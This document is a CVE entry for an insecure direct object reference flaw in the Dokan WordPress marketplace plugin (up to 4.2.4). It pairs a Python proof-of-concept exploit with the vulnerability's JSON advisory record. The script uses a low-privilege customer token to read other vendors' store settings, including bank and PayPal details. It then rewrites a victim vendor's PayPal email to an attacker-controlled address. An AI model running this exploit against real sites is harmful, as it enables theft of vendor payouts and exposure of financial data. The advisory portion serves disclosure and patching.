CVE-2025-14977

import requests import json # CVE-2025-14977 PoC - Dokan IDOR vulnerability # Target: WordPress site with Dokan plugin <= 4.2.4 TARGET_URL = "https://vulnerable-site.com" ATTACKER_TOKEN = "attacker_wordpress_rest_api_token" # Customer-level token VICTIM_VENDOR_ID = 2 # Target vendor ID to modify # Step 1: Read victim's settings (information disclosure) def read_victim_settings(): endpoint = f"{TARGET_URL}/wp-json/dokan/v1/settings" headers = { "Authorization": f"Bearer {ATTACKER_TOKEN}", "Content-Type": "application/json" } # IDOR: Modify the vendor_id parameter to access other vendor's settings params = { "vendor_id": VICTIM_VENDOR_ID } response = requests.get(endpoint, headers=headers, params=params) print("[+] Victim settings:", response.json()) return response.json() # Step 2: Modify victim's PayPal email to attacker-controlled address def modify_victim_payment(): endpoint = f"{TARGET_URL}/wp-json/dokan/v1/settings" headers = { "Authorization": f"Bearer {ATTACKER_TOKEN}", "Content-Type": "application/json" } # IDOR: Send POST request with victim vendor_id to modify their payment settings payload = { "vendor_id": VICTIM_VENDOR_ID, "dokan_profile_setting": { "paypal_email": "[email protected]" } } response = requests.post(endpoint, headers=headers, json=payload) print("[+] Payment modification response:", response.status_code) return response.status_code == 200 if __name__ == "__main__": print("CVE-2025-14977 - Dokan IDOR PoC") read_victim_settings() modify_victim_payment()

{"cve": {"id": "CVE-2025-14977", "sourceIdentifier": "[email protected]", "published": "2026-01-20T05:16:08.293", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Dokan: AI Powered WooCommerce Multivendor Marketplace Solution – Build Your Own Amazon, eBay, Etsy plugin for WordPress is vulnerable to Insecure Direct Object Reference in versions up to, and including, 4.2.4 via the `/wp-json/dokan/v1/settings` REST API endpoint due to missing validation on a user-controlled key. This makes it possible for authenticated attackers, with customer-level permissions and above, to read or modify other vendors' store settings including sensitive payment information (PayPal email, bank account details, routing numbers, IBAN, SWIFT codes), phone numbers, and addresses, and change PayPal email addresses to attacker-controlled addresses, enabling financial theft when the marketplace processes payouts."}, {"lang": "es", "value": "El plugin Dokan: AI Powered WooCommerce Multivendor Marketplace Solution – Build Your Own Amazon, eBay, Etsy para WordPress es vulnerable a Referencia Directa a Objeto Insegura en versiones hasta la 4.2.4, inclusive, a través del endpoint de la API REST `/wp-json/dokan/v1/settings` debido a la falta de validación en una clave controlada por el usuario. Esto hace posible que atacantes autenticados, con permisos de nivel de cliente y superiores, lean o modifiquen la configuración de la tienda de otros proveedores, incluyendo información de pago sensible (correo electrónico de PayPal, detalles de la cuenta bancaria, números de ruta, IBAN, códigos SWIFT), números de teléfono y direcciones, y cambien las direcciones de correo electrónico de PayPal a direcciones controladas por el atacante, lo que permite el robo financiero cuando el marketplace procesa los pagos."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-284"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/dokan-lite/trunk/includes/REST/StoreSettingController.php#L109", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/dokan-lite/trunk/includes/REST/StoreSettingController.php#L131", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/dokan-lite/trunk/includes/REST/StoreSettingController.php#L152", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/dokan-lite/trunk/includes/REST/StoreSettingController.php#L85", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&new=3432750%40dokan-lite%2Ftrunk&old=3427612%40dokan-lite%2Ftrunk&sfp_email=&sfph_mail=#file7", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/4ab9d7e9-9a81-48f8-bc37-ad6de43a566f?source=cve", "source": "[email protected]"}]}}